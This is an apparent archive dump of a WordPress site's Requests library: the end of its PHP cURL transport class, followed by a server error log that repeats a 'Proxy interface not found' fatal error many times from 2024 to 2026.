		if (!isset($headers['Connection'])) {
			$headers['Connection'] = 'close';
		}

		/**
		 * Add "Expect" header.
		 *
		 * By default, cURL adds a "Expect: 100-Continue" to most requests. This header can
		 * add as much as a second to the time it takes for cURL to perform a request. To
		 * prevent this, we need to set an empty "Expect" header. To match the behaviour of
		 * Guzzle, we'll add the empty header to requests that are smaller than 1 MB and use
		 * HTTP/1.1.
		 *
		 * https://curl.se/mail/lib-2017-07/0013.html
		 */
		if (!isset($headers['Expect']) && $options['protocol_version'] === 1.1) {
			$headers['Expect'] = $this->get_expect_header($data);
		}

		$headers = Requests::flatten($headers);

		if (!empty($data)) {
			$data_format = $options['data_format'];

			if ($data_format === 'query') {
				$url  = self::format_get($url, $data);
				$data = '';
			} elseif (!is_string($data)) {
				$data = http_build_query($data, '', '&');
			}
		}

		switch ($options['type']) {
			case Requests::POST:
				curl_setopt($this->handle, CURLOPT_POST, true);
				curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
				break;
			case Requests::HEAD:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				curl_setopt($this->handle, CURLOPT_NOBODY, true);
				break;
			case Requests::TRACE:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				break;
			case Requests::PATCH:
			case Requests::PUT:
			case Requests::DELETE:
			case Requests::OPTIONS:
			default:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				if (!empty($data)) {
					curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
				}
		}

		// cURL requires a minimum timeout of 1 second when using the system
		// DNS resolver, as it uses `alarm()`, which is second resolution only.
		// There's no way to detect which DNS resolver is being used from our
		// end, so we need to round up regardless of the supplied timeout.
		//
		// https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609
		$timeout = max($options['timeout'], 1);

		if (is_int($timeout) || $this->version < self::CURL_7_16_2) {
			curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout));
		} else {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_timeout_msFound
			curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000));
		}

		if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) {
			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout']));
		} else {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_connecttimeout_msFound
			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000));
		}

		curl_setopt($this->handle, CURLOPT_URL, $url);
		curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']);
		if (!empty($headers)) {
			curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers);
		}

		if ($options['protocol_version'] === 1.1) {
			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
		} else {
			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
		}

		if ($options['blocking'] === true) {
			curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, [$this, 'stream_headers']);
			curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, [$this, 'stream_body']);
			curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE);
		}
	}

	/**
	 * Process a response
	 *
	 * @param string $response Response data from the body
	 * @param array $options Request options
	 * @return string|false HTTP response data including headers. False if non-blocking.
	 * @throws \WpOrg\Requests\Exception If the request resulted in a cURL error.
	 */
	public function process_response($response, $options) {
		if ($options['blocking'] === false) {
			$fake_headers = '';
			$options['hooks']->dispatch('curl.after_request', [&$fake_headers]);
			return false;
		}

		if ($options['filename'] !== false && $this->stream_handle) {
			fclose($this->stream_handle);
			$this->headers = trim($this->headers);
		} else {
			$this->headers .= $response;
		}

		if (curl_errno($this->handle)) {
			$error = sprintf(
				'cURL error %s: %s',
				curl_errno($this->handle),
				curl_error($this->handle)
			);
			throw new Exception($error, 'curlerror', $this->handle);
		}

		$this->info = curl_getinfo($this->handle);

		$options['hooks']->dispatch('curl.after_request', [&$this->headers, &$this->info]);
		return $this->headers;
	}

	/**
	 * Collect the headers as they are received
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 * @param string $headers Header string
	 * @return integer Length of provided header
	 */
	public function stream_headers($handle, $headers) {
		// Why do we do this? cURL will send both the final response and any
		// interim responses, such as a 100 Continue. We don't need that.
		// (We may want to keep this somewhere just in case)
		if ($this->done_headers) {
			$this->headers      = '';
			$this->done_headers = false;
		}

		$this->headers .= $headers;

		if ($headers === "\r\n") {
			$this->done_headers = true;
		}

		return strlen($headers);
	}

	/**
	 * Collect data as it's received
	 *
	 * @since 1.6.1
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 * @param string $data Body data
	 * @return integer Length of provided data
	 */
	public function stream_body($handle, $data) {
		$this->hooks->dispatch('request.progress', [$data, $this->response_bytes, $this->response_byte_limit]);
		$data_length = strlen($data);

		// Are we limiting the response size?
		if ($this->response_byte_limit) {
			if ($this->response_bytes === $this->response_byte_limit) {
				// Already at maximum, move on
				return $data_length;
			}

			if (($this->response_bytes + $data_length) > $this->response_byte_limit) {
				// Limit the length
				$limited_length = ($this->response_byte_limit - $this->response_bytes);
				$data           = substr($data, 0, $limited_length);
			}
		}

		if ($this->stream_handle) {
			fwrite($this->stream_handle, $data);
		} else {
			$this->response_data .= $data;
		}

		$this->response_bytes += strlen($data);
		return $data_length;
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param string       $url  Original URL.
	 * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
	 * @return string URL with data
	 */
	private static function format_get($url, $data) {
		if (!empty($data)) {
			$query     = '';
			$url_parts = parse_url($url);
			if (empty($url_parts['query'])) {
				$url_parts['query'] = '';
			} else {
				$query = $url_parts['query'];
			}

			$query .= '&' . http_build_query($data, '', '&');
			$query  = trim($query, '&');

			if (empty($url_parts['query'])) {
				$url .= '?' . $query;
			} else {
				$url = str_replace($url_parts['query'], $query, $url);
			}
		}

		return $url;
	}

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @codeCoverageIgnore
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []) {
		if (!function_exists('curl_init') || !function_exists('curl_exec')) {
			return false;
		}

		// If needed, check that our installed curl version supports SSL
		if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
			$curl_version = curl_version();
			if (!(CURL_VERSION_SSL & $curl_version['features'])) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Get the correct "Expect" header for the given request data.
	 *
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD.
	 * @return string The "Expect" header.
	 */
	private function get_expect_header($data) {
		if (!is_array($data)) {
			return strlen((string) $data) >= 1048576 ? '100-Continue' : '';
		}

		$bytesize = 0;
		$iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($data));

		foreach ($iterator as $datum) {
			$bytesize += strlen((string) $datum);

			if ($bytesize >= 1048576) {
				return '100-Continue';
			}
		}

		return '';
	}
}
Transport/.htaccess000064400000000000152223033010010313 0ustar00Proxy/error_log000064400000052140152223033010007573 0ustar00[19-Sep-2024 20:14:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[19-Sep-2024 20:29:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[10-Nov-2024 08:51:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[10-Nov-2024 11:33:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[13-Nov-2024 09:51:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[17-Nov-2024 02:13:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[19-Nov-2024 00:35:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[16-Jan-2025 06:42:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[16-Jan-2025 07:46:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[02-Feb-2025 01:46:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[02-Feb-2025 02:35:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[22-Feb-2025 06:14:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[22-Feb-2025 06:25:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[29-Mar-2025 10:11:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[13-May-2025 10:04:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[13-May-2025 10:04:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[13-May-2025 10:04:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[13-May-2025 10:04:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-May-2025 11:58:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-May-2025 11:58:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-May-2025 11:58:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-May-2025 11:58:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-May-2025 14:35:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-May-2025 14:35:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-May-2025 14:35:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-May-2025 14:36:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[18-Jun-2025 16:52:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[19-Jul-2025 09:14:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[08-Aug-2025 12:12:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[08-Aug-2025 12:12:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-Aug-2025 05:57:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-Aug-2025 05:57:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[20-Aug-2025 23:28:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[21-Aug-2025 20:04:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[22-Aug-2025 21:07:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[22-Aug-2025 21:07:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[26-Aug-2025 06:19:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[26-Aug-2025 06:29:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[27-Aug-2025 13:49:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[04-Sep-2025 00:29:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[04-Sep-2025 00:50:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[06-Sep-2025 01:49:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[06-Sep-2025 01:58:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[09-Sep-2025 17:34:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[09-Sep-2025 17:49:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-Sep-2025 15:02:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[14-Sep-2025 15:11:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[18-Sep-2025 16:53:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[18-Sep-2025 17:07:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[19-Sep-2025 06:24:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[19-Sep-2025 06:39:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[22-Sep-2025 12:31:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[22-Sep-2025 12:49:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[25-Sep-2025 21:51:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[25-Sep-2025 22:04:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[02-Oct-2025 10:36:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[02-Oct-2025 10:44:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[02-Nov-2025 08:24:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[02-Nov-2025 08:33:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[06-Dec-2025 18:38:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[06-Dec-2025 18:51:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[23-Dec-2025 11:31:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[23-Dec-2025 11:52:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[24-Dec-2025 14:43:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[24-Dec-2025 15:08:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[04-Jan-2026 10:03:42 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[04-Jan-2026 10:13:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[06-Jan-2026 00:35:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[06-Jan-2026 01:13:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[06-Jan-2026 01:26:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
[13-Jan-2026 23:45:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
